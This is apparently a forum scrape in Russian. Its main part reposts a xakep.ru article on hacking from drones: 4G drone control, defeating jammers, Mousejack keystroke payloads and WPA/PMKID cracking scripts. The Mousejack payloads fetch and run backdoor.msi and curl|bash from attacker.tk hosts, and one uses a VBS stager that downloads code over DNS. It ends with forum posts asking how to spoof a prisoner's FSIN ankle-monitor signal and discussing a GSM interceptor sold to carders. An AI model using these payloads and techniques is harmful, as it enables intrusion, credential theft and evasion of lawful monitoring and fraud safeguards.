      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '-50' '0'
      xdotool mouseup 1
      ;;
    'd')
      echo 'roll right'
      xdotool mousemove $right_stick_x $right_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '50' '0'
      xdotool mouseup 1
      ;;
    'q')
      echo 'yaw left'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '-50' '0'
      xdotool mouseup 1
      ;;
    'e')
      echo 'yaw right'
      xdotool mousemove $left_stick_x $left_stick_y
      xdotool mousedown 1
      xdotool mousemove_relative -- '50' '0'
      xdotool mouseup 1
      ;;
  esac
  xdotool windowfocus $console
done

Тут в бесконечном цикле происходит ожидание нажатия тех или иных клавиш, после чего, в соответствии с нажатием, курсор мыши двигает виртуальный стик на экране удаленного телефона. Все максимально просто.

Данные о состоянии дрона (телеметрия) также в распоряжении оператора, пример представлен на следующем рисунке.

Условное расположение значений телеметрии на экране
В зависимости от модели дрона и мобильного приложения картинка может отличаться. Используя те же самые средства автоматизации GUI, а также распознавание текста, можно реализовать произвольную обработку показаний телеметрии:

drone/telemetry.sh​

Bash:Copy to clipboard

#!/bin/bash
INTERVAL=1
control=$(xwininfo | grep id | grep 'xwininfo:' | awk '{print $4}')
while sleep $INTERVAL
do
    gm import -window $control /tmp/drone_telemetry.png
    gm convert /tmp/drone_telemetry.png -crop 240x60+740+58 /tmp/drone_telemetry-bat.png
    bat=$(tesseract /tmp/drone_telemetry-bat.png stdout -l eng 2> /dev/null | grep '^[0-9]' | awk '{print $1}')
    gm convert /tmp/drone_telemetry.png -crop 240x60+461+58 /tmp/drone_telemetry-alt.png
    alt=$(tesseract /tmp/drone_telemetry-alt.png stdout -l eng 2> /dev/null | grep '^[0-9]')
    if [ "$bat" -lt 10 ]; then
        echo 'low battery' | festival --tts --language english
    fi
    clear
    echo "$bat $alt"
done

Здесь выполняется цикличное распознавание текста различных областей экрана, на которых расположены те или иные показания. После их преобразования с изображения на экране в понятную компьютеру форму можно обрабатывать их дальше. В этом примере скрипт использует синтезатор речи для информирования о низком заряде аккумулятора.

С помощью этих примитивов управления и телеметрии можно полностью автоматизировать полет дрона.

Подобный подход чрезвычайно прост в исполнении и сразу открывает доступ и к управлению, и к телеметрии, но имеет лишнее звено — телефон с Wi-Fi. Сигнал от телефона может быть слишком сильный, что может негативно сказаться на управлении. Плюс ко всему дрон в этом случае вынужден поднимать достаточно большую лишнюю массу (около 50 г).

4G → UART → дрон​

Но зачем удаленно подключаться к дрону через его явные интерфейсы управления (по Wi-Fi)? Почему бы злоумышленнику не подключиться напрямую к его полетному контроллеру? В случае с дронами по типу «готового решения» можно столкнуться, скорее всего, все с той же проблемой — закрытым протоколом и необходимостью его реверсить.

Однако есть множество открытых решений для управления дронами, например прошивки Betaflight, iNav или Ardupilot. Самое простое из них — Betaflight среди прочего поддерживает прямую отправку команд управления моторами в полетный контроллер через уже знакомый UART. Это значит, что управлять дроном можно почти с любого одноплатника. Стоит лишь подключить к нему 4G-модуль и настроить VPN. Все‑таки с открытыми решениями работать куда приятнее.

Итак, атакующему сначала необходим одноплатный компьютер минимального размера и массы, а также 4G-модем. Отличный вариант — NanoPi Neo Air и Sim7600G, оба устройства миниатюрны и практически идентичны по габаритам.

Одноплатный компьютер и 4G-модем для удаленной связи с дроном
Взаимодействие с 4G-модемом идет по UART-интерфейсу, которых у NanoPi целых три. Первый UART можно использовать для интернет‑канала, а второй уже для связи с дроном. На следующем рисунке представлена распиновка контактов на мини‑компьютере NanoPi для управления дроном и связи по 4G.

Распиновка контактов на мини-компьютере NanoPi для управления дроном и связи по 4G
После небольшой пайки модуль удаленного управления по 4G может выглядеть так, как продемонстрировано на следующем рисунке.

Готовый модуль управления по 4G
Даже самые простые полетные контроллеры часто имеют минимум два UART- интерфейса, один из которых, скорее всего, занят штатным приемником, а второй как раз можно использовать для удаленного управления по 4G. Подключение NanoPi к полетному контроллеру происходит аналогично штатному приемнику — с помощью UART.

Подключение NanoPi к полетному контроллеру
Так можно переключать дрон на тот или иной режим управления без физического вмешательства и перепайки, исключительно программным способом (о нем чуть позже). Все, что требуется, — только прикрепить NanoPi + Sim7600G и соединить соответствующий шлейф. В итоге дрон с 4G-управлением выглядит примерно так.

Схема подключения 4G-управления к дрону с открытой прошивкой
В зависимости от размеров и формы дрона плату можно устанавливать в разных местах и даже внутри корпуса рамы. Можно даже распечатать соответствующие крепления на 3D-принтере.

Пора перейти к программной настройке. Одноплатный компьютер NanoPi крайне удобен в настройке — он эмулирует консоль прямо по USB, когда на него подается питание. Все, что требуется для работы с ним, — это лишь открыть консоль непосредственно на USB:

Code:Copy to clipboard

minicom -D /dev/ttyACM0 -b 9600

Далее все действия производятся уже внутри NanoPi. Сначала необходимо отключить все лишнее:

Code:Copy to clipboard

systemctl disable wpa_supplicant.service
systemctl disable NetworkManager.service

И активировать два UART:

Code:Copy to clipboard

armbian-config
 System -> Hardware:
    Включаем uart1 и uart2, перезагружаемся

Далее нужно поставить необходимые пакеты:

Code:Copy to clipboard

apt install minicom openvpn python3-pip cvlc

Minicom не обязателен, но он может потребоваться для пусконаладки — проверки, правильно ли работает UART и на каком порте что у нас расположено. Например, так можно удостовериться, что NanoPi и Sim7600G-модем слышат друг друга через первый UART-интерфейс:

Code:Copy to clipboard

minicom -D /dev/ttyS1 -b 115200
AT

Если все ок, то для модема должна быть прописана конфигурация мобильного подключения:

/etc/ppp/peers/tele2​

Code:Copy to clipboard

connect "/usr/sbin/chat -v -f /etc/chatscripts/gprs -T internet.tele2.ru"
/dev/ttyS1
115200
noipdefault
usepeerdns
defaultroute
persist
noauth
nocrtscts
local
user "tele2"
password "tele2"
debug
refuse-chap
refuse-mschap
refuse-mschap-v2
refuse-eap

/etc/chatscripts/gprs​

Code:Copy to clipboard

ABORT           BUSY
ABORT           VOICE
ABORT           "NO CARRIER"
ABORT           "NO DIALTONE"
ABORT           "NO DIAL TONE"
ABORT           "NO ANSWER"
ABORT           "DELAYED"
ABORT           "ERROR"
ABORT           "+CGATT: 0"
""              AT
TIMEOUT         12
OK              ATH
OK              ATE1
OK              AT+CGDCONT=1,"IP","\T","",0,0
OK              ATD*99#
TIMEOUT         22
CONNECT         ""

Теперь, чтобы активировать 4G, выполняем следующую команду:

Code:Copy to clipboard

pon tele2

Если сеть появилась и ping идет, значит, эти две крошечные платы всегда смогут выйти на связь по 4G-интернету, где бы они ни находились. Чтобы при включении устройства сразу поднималась сеть, нужно подготовить следующий файл:

/etc/network/interfaces​

Code:Copy to clipboard

auto tele2
iface tele2 inet ppp
provider tele2

Мобильный интернет — это лишь физический линк. Далее требуется логический линк, чтобы можно было выйти на связь с устройством. Для этого нужно подключить устройство к некоторому опорному серверу по VPN:

Code:Copy to clipboard

cp your_vds.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds

Если все прошло нормально, то теперь всегда после включения устройства к нему можно получить доступ, соединившись с ним по VPN через выделенный опорный сервер. Настало время немного поговорить о том, как NanoPi может управлять двигателями дрона.

Современные полетные контроллеры — весьма сложные устройства, которые, как правило, поддерживают массу протоколов управления. И если на физическом уровне для связи с полетным контроллером используется UART, то на логическом проще всего реализовать управление через протокол MSP и соответствующую Python- библиотеку:

Code:Copy to clipboard

cd /opt/
git clone https://github.com/alduxvm/pyMultiWii
pip3 install pyserial

Протокол достаточно простой, а сама библиотека требует лишь знания номера порта. NanoPi подключен к полетному контроллеру дрона с помощью UART2, следовательно, это ttyS2-порт. Имея порт, можно уже отправлять значения основных каналов: крена, оборотов пропеллеров и так далее, а также вспомогательных каналов:

~/src/control.py​

Python:Copy to clipboard

#!/usr/bin/python3
from sys import path; path.append("/opt/pyMultiWii/")
from time import sleep
from threading import Thread
from pymultiwii import MultiWii
board = MultiWii("/dev/ttyS2")
roll=1500
pitch=1500
throttle=988
yaw=1500
aux1=1000
aux2=1500
aux3=1500
aux4=1500
def arm():
    global aux1
    aux1 = 2000
def disarm():
    global aux1
    aux1 = 1000
def send():
    INTERVAL = 0.01
    while True:
        board.sendCMD(16, MultiWii.SET_RAW_RC, [roll,pitch,throttle,yaw,aux1,aux2,aux3,aux4])
        sleep(INTERVAL)
main = Thread(target=send, args=())
main.start()
do_something()
main.join()

Стоит отметить, что, даже если дрон не летит и на его двигатели не подаются никакие команды, на него все равно должны непрерывно отправляться данные с нейтральными значениями стиков управления, причем достаточно часто. Так полетный контроллер понимает, что связь с приемником все еще поддерживается.

Чтобы полетный контроллер знал, откуда брать команды управления двигателями, в его настройках нужно указать, что NanoPi физически соединен с его интерфейсом UART2, а программно используется протокол MSP. Для Betaflight cделать это можно с помощью программы BetaflightConfigurator, как показано на следующих рисунках.

Меняем активный UART для приемника (NanoPi подключен к UART2 полетного контроллера, а штатный приемник — к UART1)

В параметрах приемника указываем протокол управления MSP

Если все сделано правильно, то с любого расстояния появится возможность удаленно управлять таким дроном, пока есть сигнал мобильных сетей и, конечно же, пока не сел аккумулятор.

Передавать видео можно, подсоединив DVP-камеру напрямую к плате NanoPi. А стрим картинки с нее по сети возможен посредством следующего кода:

Code:Copy to clipboard

cvlc v4l2:///dev/video0:chroma=h264:width=800:height=600 --sout '#transcode {vcodec=h264,acodec=mp3,samplerate=44100}:std{access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' –vvv

Чтобы удаленно видеть картинку с дрона на любом расстоянии, нужно просто открыть в браузере «http://drone:8080/», где drone — IP-адрес VPN NanoPi.

Приведенные выше шаги реализации управления дроном через мобильные сети — это лишь концепт, демонстрирующий все необходимые примитивы связей. Чтобы дрон реально полетел и не разбился, требуется реализовать еще удобный интерфейс управления.

Этого можно добиться через подключение пульта, например EdgeTX, способного работать как HID-устройство. А также через трансляции положений его стиков в команды управления, которые передаются по сети на NanoPi, интерпретируются там в соответствующие MSP-команды и по UART попадают на полетный контроллер.

А можно пойти более универсальным способом, позволяющим управлять полетом без специального оборудования, прямо с клавиатуры ноутбука или экрана телефона. Это проще всего реализовать через небольшое веб‑приложение, средствами JavaScript, считывая соответствующие события клавиатуры и нажатия по виртуальным стикам в сообщения, оперативно передаваемые по сети через WebSockets на NanoPi.

Для систем под управлением Ardupilot существуют даже готовые решения.

Защита от глушилок​

Проблему помех от зданий и ограниченного радиуса управления можно решить представленными выше способами, превратив вышки сотовой связи из главного источника помех в лучшего друга.

Но для дронов есть еще одна опасность, которая их может поджидать непосредственно на самих объектах, — это подавители дронов, или глушилки.

Для большинства подобных устройств must-have является подавление частот 2,4 ГГц, на которых летает подавляющее большинство простых дронов (с управлением по Wi-Fi). Сюда же попадает часть частот и профессиональных дронов. У серьезных глушителей дронов в частотах подавления учтены каналы управления всех профессиональных протоколов (TBS, ELRS, FRSKY и прочих) — 800, 900, 2400 МГц.

Однако самая распространенная мера противодействия дронам — глушение или спуфинг сигналов GPS. Подделав сигналы со спутников, дрону можно внушить любое местоположение, что может быть использовано для контроля над его перемещением. Так как в достаточно многих протоколах управления дронами применяется серьезное шифрование, вполне логичной выглядит атака на GPS, так как она представляется наиболее общей. Поэтому GPS-приемник оказывается еще одним слабым местом дронов. И потенциальный злоумышленник, не желающий, чтобы его дрон был сбит такой глушилкой, должен избавиться от GPS.

В некоторых «готовых» моделях дронов бортовой GPS можно отключить программно. FPV-дроны Cinewhoop часто используются в полетах по помещениям, где, как известно, GPS практически не ловится. Поэтому часто GPS-приемники в такие модели не ставят. Дроны с открытыми системами управления, такими как Betaflight, имеют модульную структуру и всегда позволяют как включить, так и отключить бортовой GPS, чего нельзя сказать о более бюджетных вариантах, которые просто отказываются лететь без него.

Что касается глушения каналов управления, то заглушить дрон с управлением по мобильным сетям тоже не так‑то просто. Ведь теперь нужно подавлять сразу ряд диапазонов мобильных сетей разных поколений. А вариантов частот у 2G, 3G и 4G немало. Если заглушить все 4G-сети (2600, 1900, 2300, 2500 МГц), модем дрона перейдет на 3G (2100, 1900, 1800, 850, 2600, 900, 800 МГц), заглушаем и их — перейдет на 2G (900, 1800, 1900 МГц).

Тем не менее существуют направленные радиопушки, отключающие мощным импульсом вообще все радио, но им, впрочем, требуется достаточно точное наведение на цель.

PINEAPPLE​

Время поподробнее рассмотреть сами атаки. Для хакера дрон лишь транспорт. Реально все атаки злоумышленник может проводить с помощью некоторого миниатюрного устройства, прикрепленного к такому дрону. Это может быть уже знакомый по предыдущей статье Pineapple. Он без проблем поместится на любой дрон, ведь он маленький и легкий.

Легковесная реализация Pineapple превращает дрон в хакерский инструмент
Так как этот хакерский девайс может доставляться на место хоть дроном, хоть почтовым голубем, то важна его масса. Суммарно масса такого Pineapple вместе с аккумулятором получается всего от 17 до 43 г, в зависимости от типа батареи. Дроны имеют запас мощности для противодействия ветру и установки экшн‑камер и спокойно могут поднять от трети до половины своей изначальной массы без значительной потери летных характеристик. Так что с таким грузом справится почти любой, даже карманный селфи‑дрон. И это еще одно несомненное преимущество перед громоздким готовым устройством Pineapple от hak5 — его сможет поднять далеко не каждый дрон.

Молниеносность — это главное условие, которое потенциальный злоумышленник учитывает при планировании атак с дрона. Если в предыдущей статье про Pineapple рассмотрены статичные атаки на беспроводные сети, когда требуется долго находиться в неподвижной точке, то с дроном целесообразнее проводить динамичные атаки — быстрые и мобильные, покрывающие множество целей.

Но какие беспроводные технологии могут быть атакованы столь стремительно, что у дрона не успеет сесть аккумулятор? Вполне очевидно, что это должны быть атаки, слабо завязанные на людей, так как людям часто требуется много времени, чтобы принять решение. Другое дело — чисто компьютерные атаки, не требующие никакого участия пользователя. Машины не так медлительны, как человек, и есть несколько zero click атак, проведение которых занимает несколько секунд. При этом дрону не нужно даже совершать коротких остановок — все может происходить прямо во время полета.

Далее представлено несколько таких атак, начиная с самых критичных.

Mousejack​

Существует распространенная уязвимость, надежно, на десятилетия засевшая в сотнях тысяч беспроводных мышек и клавиатур. Ее эксплуатация возможна с кинематографичной эффективностью — высочайшей скоростью (одна‑две секунды) и максимальным импактом — RCE, и атакующий сразу получает шелл. И имя ей — Mousejack.

Атака на беспроводные HID-устройства (мыши и клавиатуры) — это, пожалуй, самая зрелищная атака, способная скомпрометировать компьютер за секунды. Она считается самой опасной из всех возможных атак, так как позволяет минимальными усилиями, по радиоканалу, удаленно отправить произвольные нажатия клавиш, иными словами, выполнить произвольный код. Никаких предварительных подборов паролей, особых действий пользователя — сразу RCE.

Эту атаку можно эффективно проводить с помощью специального устройства CrazyRadio PA и любого одноплатника, например Raspberry, или уже знакомого нам устройства Pineapple, разработанного специально для атак на беспроводные сети. Условие старта для атаки может быть добавлено так:

startup.sh​

Bash:Copy to clipboard

...
elif lsusb | grep -q 'Nordic Semiconductor'; then
  echo "[*] mousejack attack"
  cd mousejack
  screen -dmS mousejack -t jackit -L -Logfile "$time-mousejack-%n.log" './mousejack.sh'
  cd -
...

Иными словами, если в Pineapple вставлен донгл CrazyRadio PA, то автоматически запускается атака на беспроводные мыши и клавиатуры:

mousejack/mousejack.sh​

Bash:Copy to clipboard

#!/bin/bash
led green on
python3 jackit --autopwn --script ducky.txt
led green off

Так как атакующий не знает адреса беспроводных устройств, он вынужден атаковать все, что слышит в радиоэфире, поэтому используется флаг autopwn.

Если соединить CrazyRadio с Pineapple, получится очень опасное хакерское устройство.

Устройство, способное на расстоянии взломать компьютер через беспроводную периферию
Дрон с таким устройством сможет пробить периметр практически любой компании.

Дрон заряжен Mousejack и готов лететь
Такой дрон будет атаковать все устройства вокруг себя, пока летит.

Эксплуатация Mousejack очень похожа на BadUSB-hid. Тут атакующий сталкивается с теми же проблемами при наборе команд:

И в том и в другом случае злоумышленнику придется для надежности засылать нажатия дважды, меняя либо раскладку, либо статус NumLock. Но в случае с ALT- кодами понадобится в три‑четыре раза больше нажатий. А если нет разницы, то зачем передавать больше? В общем, тут снова рациональнее использовать простой метод отправки нажатий непосредственно самих клавиш вместо их кодов:

mousejack/ducky.txt​

Code:Copy to clipboard

GUI SPACE
GUI r
DELAY 300
STRING msiexec /i https://en.attacker.tk/backdoor.msi /quiet
DELAY 300
ENTER
SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300
GUI r
DELAY 300
STRING msiexec /i https://ru.attacker.tk/backdoor.msi /quiet
DELAY 300
ENTER

Так как используется радиоканал, атакующий неизбежно столкнется с помехами. Чем длиннее набираемая команда, тем больше вероятность, что та или иная клавиша «не долетит». Достаточно всего одной ошибки, чтобы RCE-команда не распозналась.

Приведенный здесь пример уже знаком читателям по статье про BadUSB-hid. Эта возможность имеется в любой ОС Windows, она позволяет за одно действие скачать и запустить указанную программу удаленного управления. Под ОС семейства Unix злоумышленник может использовать команду из разряда curl -L http://rce.attacker.tk/1.sh|bash.

Далее успешность атаки зависит только от ловкости управления дроном и наличия беспроводных мышек в радиусе около 10–15 м. Pineapple на дроне будет пытаться взломать каждый компьютер через вновь пойманный радиосигнал от мышки или клавиатуры. Эффект атаки делает ее похожей на фильм или игру про хакеров, где взлом с помощью дрона происходит за несколько секунд.

Скриншот из компьютерной игры Watch Dogs 2
Реальный мир отличается от вымышленного. Большая часть из того, что показано в играх и фильмах о возможностях хакеров, имеет мало общего с реальностью, но эта атака — одна из немногих, которые в жизни выглядят точно так же, как на экране.

Представь: ты сидишь дома или работаешь в офисе, где‑нибудь на верхних этажах или в глубине режимного объекта, в сотнях метров от охраняемого контрольно‑пропускного пункта. Кажется, что ты в полной информационной безопасности и внешний нарушитель до тебя не доберется. Но тут к зданию подлетает подобный дрон, и, пока ты удивленно смотришь на него через окно (а возможно, ты даже и не заметишь его вовсе), он всего за секунду запустит вредоносный код на твоем компьютере. Так что ты вряд ли успеешь заметить что‑либо подозрительное, а если и заметишь, то вряд ли сопоставишь появление в небе дрона с установкой бэкдора на твоем компьютере. С использованием этого метода злоумышленник сможет проникнуть в корпоративную сеть — последствия этого, думаю, объяснять никому не нужно.

Пробив периметра с дрона за одну секунду
Дрон использует еще и эффект отвлечения: пользователь смотрит в окно, пока на его ноутбуке на долю секунды всплывает окно «Пуск → Выполнить» и запускается бэкдор или RAT. Через пару минут, вероятно, злоумышленник уже успеет опробовать пару‑тройку эксплоитов.

По иронии судьбы чаще всего беспроводные мышки и клавиатуры есть либо у IT- персонала, либо у руководителей. Так что добыча злоумышленника будет сразу весомая. Возможно, это окажется комп доменного администратора, в таком случае события уже во внутренней сети будут развиваться стремительно. А возможно, это будет какой‑то начальник, на рабочем столе которого много ценных файлов. Словом, какой бы компьютер это ни был, он, скорее всего, подключен к внутренней сети, а значит, злоумышленник почти наверняка достигнет главной цели — пробития периметра.

Чтобы пробить периметр описанным способом, с компьютера, подверженного этой атаке, должен быть выход в интернет до опорного сервера злоумышленника. Оттуда он скачивает и запускает бэкдор, на который потом поступают команды управления. Но далеко не в каждой внутренней сети разрешены прямые соединения на внешние IP-адреса. Однако популярные методы эксфильтрации, такие как DNS, вполне могут работать, и произвольные запросы, содержащие данные, могут выходить из сети наружу почти всегда. Это значит, что такой канал может быть использован как транспорт для скачивания бэкдора и его последующей работы.

Реализовать загрузку нужной хакеру программы по DNS можно и базовыми средствами любой ОС. Например, для Windows самым переносимым способом является VBS-скрипт, который написан на полноценном интерпретируемом языке программирования (смотри статью про методы инфильтрации и эксфильтации). Но размер вводимой в окно «Выполнить» команды ограничен, и для набора VBS- скрипта, загружающего средство удаленного управления через DNS, злоумышленнику потребуются минимум три команды:

mousejack/ducky-dnsexec.txt​

Code:Copy to clipboard

GUI r
DELAY 300
STRING cmd /C "(echo On Error Resume Next& echo Set objShell = CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("Scripting.FileSystemObject"^).createtextfile^("out.exe"^))>1.vbs& ping x1.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "(echo For d = 1 To 927& echo pos = 0& echo While pos = 0& echo Set exec = objShell.Exec^("nslookup -type=txt d"^&d^&".txt.attacker.tk"^)& echo res = exec.Stdout.ReadAll^(^))>>1.vbs& ping x2.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "(echo pos = inStr^(1,res,"?"^)& echo txt = Mid^(res,pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& echo Next)>>1.vbs& ping x3.attacker.tk"
ENTER
GUI r
DELAY 300
STRING cmd /C "wscript 1.vbs & out.exe"
ENTER

При выполнении команд на сервер злоумышленника должно прийти три DNS-отстука, означающих успешность набора команд.

Это отличный пример того, как ты или твоя компания могут быть легко взломаны, причем даже без дрона (об этом в одной из следующих статей). И чем больше компания, тем выше вероятность встретить подверженную уязвимостям беспроводную периферию. Мой опыт показывает: несмотря на то что эта уязвимость найдена еще в 2016 году, о ней до сих пор мало кто знает. А те, кто знает, сильно ее недооценивают. Тем не менее встречается она повсеместно. А аппаратная специфика этой уязвимости обеспечивает ей еще достаточно долгую жизнь, ведь компьютерные мышки мы не привыкли менять так же часто, как телефоны.

Атака EAP​

В статье про Pineapple уже рассматривались атаки на WPA Enterprise, но там описано возможное их применение в статичном режиме — с ожиданием попадания клиентов в радиус действия. С дроном хакер может провести такую атаку в ином ключе — динамично, самостоятельно обнаруживая и атакуя клиентские устройства.

Теперь он в состоянии облететь каждое здание, где размещаются цели атак. Так как отправка учетных данных WPA Enterprise не требует участия пользователя, она происходит достаточно быстро, что делает эту атаку возможной даже без остановки пролетающего мимо дрона.

На представленной ниже иллюстрации телефоны сотрудников бессознательно кинули в пролетающий мимо дрон учетные записи корпоративной беспроводной сети.

Компьютерная атака с дрона на клиентское устройство
Для реализации такой атаки злоумышленнику не нужно дорабатывать скрипты Pineapple. Все необходимое уже проделано в соответствующем разделе предыдущей статьи. Для активации атаки на Pineapple просто ставится перемычка на GPIO-25 (замыкающая пины 20 и 22), после чего устройство включается. Загорелся зеленый светодиод — значит, точка доступа поднялась и атакующий может лететь. Дрон вместе с устройством прилетает обратно, горит красный или желтый светодиод — значит, мы вернулись не с пустыми руками и пароль или хеш чьей‑то доменной учетки сохранен на карте памяти. С этой доменной учеткой злоумышленник впоследствии может получить удаленный доступ к почте и раскрыть конфиденциальные данные или даже, при наличии у компании VPN, получить доступ в ее локальную сеть.

Захват хендшейка WPA и PMKID​

В предыдущей статье про Pineapple рассмотрен ряд атак на аутентификацию Wi-Fi. Аутентификация (захват PMKID) и деаутентификация (захват WPA Handshake) происходят достаточно быстро. Более того, если захват WPA Handshake требует определенных обстоятельств (наличия клиентов), то захватить PMKID, если имеется уязвимая точка доступа, можно всегда и достаточно быстро.

PMKID — это еще один пригодный для брутфорса хеш, который можно получить из первой части четырехступенчатого рукопожатия (EAPOL M1). Для этого не нужны аутентифицированные клиенты, такой пакет точка доступа может отправить атакующему сама в ответ на запрос ассоциации:

wpapsk/auth.sh​

Bash:Copy to clipboard

#!/bin/bash
dumpfile="pmkid-$(date +'%H:%M:%S_%d.%m.%Y')"
hcxdumptool -i mon0 --enable_status=7 -o $dumpfile.pcapng --disable_client_attacks --disable_deauthentication $* | while read line
do
    if echo "$line" | grep -q 'PMKIDROGUE:'; then
        led yellow on 2> /dev/null
    fi
done
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng

Пока дрон летит, этот скрипт отправляет запрос ассоциации на каждую точку доступа в пределах досягаемости радиосигнала.

Компьютерная атака с дрона на точку доступа
Как только PMKID захвачен, загорается желтый светодиод. И WPA handshake, и PMKID дает хеш‑сумму, по которой можно восстановить пароль к точке доступа методом перебора по словарю:

wpapsk/brute-pmkid.sh​

Bash:Copy to clipboard

#!/bin/bash
while sleep 60
  for pcap in *.cap
  do echo "$pcap"
    hcxpcapngtool "$pcap" --pmkid=/tmp/m1.pmkid
    hcxhash2cap --pmkid=/tmp/m1.pmkid -c /tmp/out-pmkid.pcap
    for bssid in $(echo 0 | aircrack-ng "/tmp/out-pmkid.pcap" | grep 'with PMKID' | awk '{print $2}')
    do
      if [ -f "/tmp/$bssid" ]; then
        continue
      fi
      touch "/tmp/$bssid"
      aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid" "/tmp/out-pmkid.pcap" -l "$bssid.txt"
      if [ -s "$bssid.txt" ]; then
        led red on 2> /dev/null
        exit
      fi
    done
    rm -f /tmp/m1.pmkid
    rm -f /tmp/out-pmkid.pcap
  done
done

Pineapple с таким скриптом в состоянии сам определить слабые пароли к точкам доступа. Для этого сначала удаляются все пакеты EAPOL M2 (handshake), так как проверяются только с PMKID. После их уникализации, чтобы не брутить одни и те же хеши многократно, запускается уже брутфорс прямо в воздухе. Если пароль подобран, загорается красный светодиод.

Скрипт служит хорошим примером манипуляции набранными хешами, ведь в таком случае aircrack-ng при наличии handshake игнорирует PMKID. Вообще, брутить хеши целесообразно на более мощном оборудовании, ведь все собранные в полете хеши сохраняются на карте памяти Pineapple.

Разведка беспроводных сетей​

Применительно к атакам на беспроводные сети дрон весьма неплохо подходит на роль разведчика. Разместив все тот же Pineapple и подключив к нему внешний GPS-донгл, атакующий может триангулировать расположение каждого беспроводного устройства (точек доступа Wi-Fi, клиентов, Bluetooth-устройств и даже беспроводных мышек и клавиатур) и фиксировать их расположение на карте. Эта информация может быть очень актуальна как для атакующего, выявляющего поверхность будущих атак, так и для защитников, контролирующих свои ресурсы. Ведь весь необходимый сбор данных и расчеты полностью производит программа Kismet. На выходе — дамп SQLite, удобный для самостоятельного парсинга.

Для географической разведки беспроводных сетей требуется лишь два компонента, которые на Pineapple запускаются при старте в положении перемычки на 27-м GPIO:

startup.sh​

Bash:Copy to clipboard

...
elif jmp 27; then
  echo "[*] wi-fi recon (dynamic)"
  monitor_enable
  cd recon
  screen -dmS recon -t gpsd -L -Logfile "$time-recon-%n.log" './gps.sh'
  screen -r recon -t kismet -X screen './kismet.sh'
  screen -r recon -t tcpdump -X screen './tcpdump.sh'
  cd -
...

Когда устанавливается соединение со спутниками, зеленый светодиод дает понять, что можно лететь:

recon/gps.sh​

Bash:Copy to clipboard

#!/bin/bash
gpsd -N /dev/ttyACM0 -D 5 | while read line
do echo "$line"
    if echo "$line" | fgrep -q 'GPS:'; then
        led green on 2> /dev/null
    fi
done

Успешный запуск Kismet, в свою очередь, зажигает желтый светодиод:

recon/kismet.sh​

Bash:Copy to clipboard

#!/bin/bash
kismet -c mon0 | while read line
do echo "$line"
    if echo "$line" | fgrep -q 'success'; then
        led yellow on 2> /dev/null
    fi
done

Теперь после облета территории или даже загрузки GPS-маршрута в дрон атакующий либо защитник могут в автоматическом режиме более качественно выполнить анализ беспроводных сетей, покрывая максимум территории. Полученный дамп может быть преобразован в веб‑страницу, содержащую удобную интерактивную карту, на которой наложено рассчитанное местоположение источников сигнала, а также построена тепловая карта сигналов, как на следующем рисунке.

Визуализация собранной информации о беспроводных устройствах (местоположение и тепловая карта)
Тепловая карта показывает уровень сигнала от беспроводных устройств в каждой исследованной точке. Любая точка доступа или клиент на такой карте по клику мышкой обводится окружностью, показывающей область ее слышимости.

Область слышимости беспроводного устройства
При этом тепловая карта, как можно заметить, перестраивает свой цвет под каждое выбранное беспроводное устройство, тем самым показывая, в каких местах и как принимался сигнал от него. Каждая область, где пролетал дрон, при выборе мышкой показывает беспроводные устройства, доступные именно там.

Слышимые беспроводные устройства в определенной точке
Все вместе это дает представление, не выходит ли зона приема за контролируемую область, где может находиться злоумышленник.

Постэксплуатация​

Если атака будет успешной, злоумышленнику, вероятно, придется вернуться и воспользоваться обнаруженной уязвимостью. Ведь подобранный пароль или перехваченные учетные данные сработают только для конкретной беспроводной сети. В таком случае дрон может доставить Pineapple, снабженный 4G-модулем для удаленного подключения к беспроводной сети на охраняемой территории.

Дрон доставляет Pineapple, снабженный 4G модемом, для удаленного доступа
То, как использовать Pineapple в качестве средства удаленного доступа, продемонстрировано в предыдущей статье.

Дрон с Pineapple на борту может приземлиться на крышу здания. С выключенными пропеллерами он в состоянии ожидать достаточно долго. А тем временем злоумышленник может удаленно подключиться к скомпрометированной беспроводной сети и развивать дальнейшие атаки уже по внутренним сетям. И вполне вероятно, что внутренняя сеть в результате такого проникновения падет раньше, чем на крышу поднимутся сотрудники службы безопасности. Впрочем, в таком случае дрон может стремительно улететь, унеся на своем борту и Pineapple, и 4G-модем. Так что не останется никаких следов.

Автор @s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel
источник xakep.ru

подмена сигнала браслета фсин
ID: 676535aeb4103b69df373571
Thread ID: 73660
Created: 2022-09-26T20:28:03+0000
Last Post: 2024-05-31T15:21:37+0000
Author: sosaaaa1337
Replies: 23 Views: 4K

Здравствуйте уважаемые форумчане, я нубик, извиняюсь, если не в тему, но нужно подменить сигнал от браслета фсин к станции. через сдр радио можно сделать так чтоб без палева? на какой частоте передается сигнал?

Продается GSM Intercepter - техническое обсуждение
ID: 676535aeb4103b69df373579
Thread ID: 109150
Created: 2024-02-27T08:50:25+0000
Last Post: 2024-04-23T19:52:08+0000
Author: gliderexpert
Replies: 34 Views: 4K

Вынесу обсуждение технических вопросов из коммерческой темы

StateProperty said:

**Вашему вниманию представляется по настоящему уникальное предложение, а именно возможность купить настоящий GSM Intercepter, то о чем мечтал каждый кардер с момента массового ввода 2FA в виде смс.

Краткие технические характеристики и ответы на наиболее популярные вопросы:**
.................
Q: В каких странах работает?
A: Во всех странах где существует связь 2G формата 900\1800mhz. В исходном виде комплекс работает в странах СНГ и части европейских стран, в остальных случаях требуются незначительные доработки на локальные частоты 3G\4G.
................

Click to expand...

Если возможно - интересно было бы уточнить пару моментов:
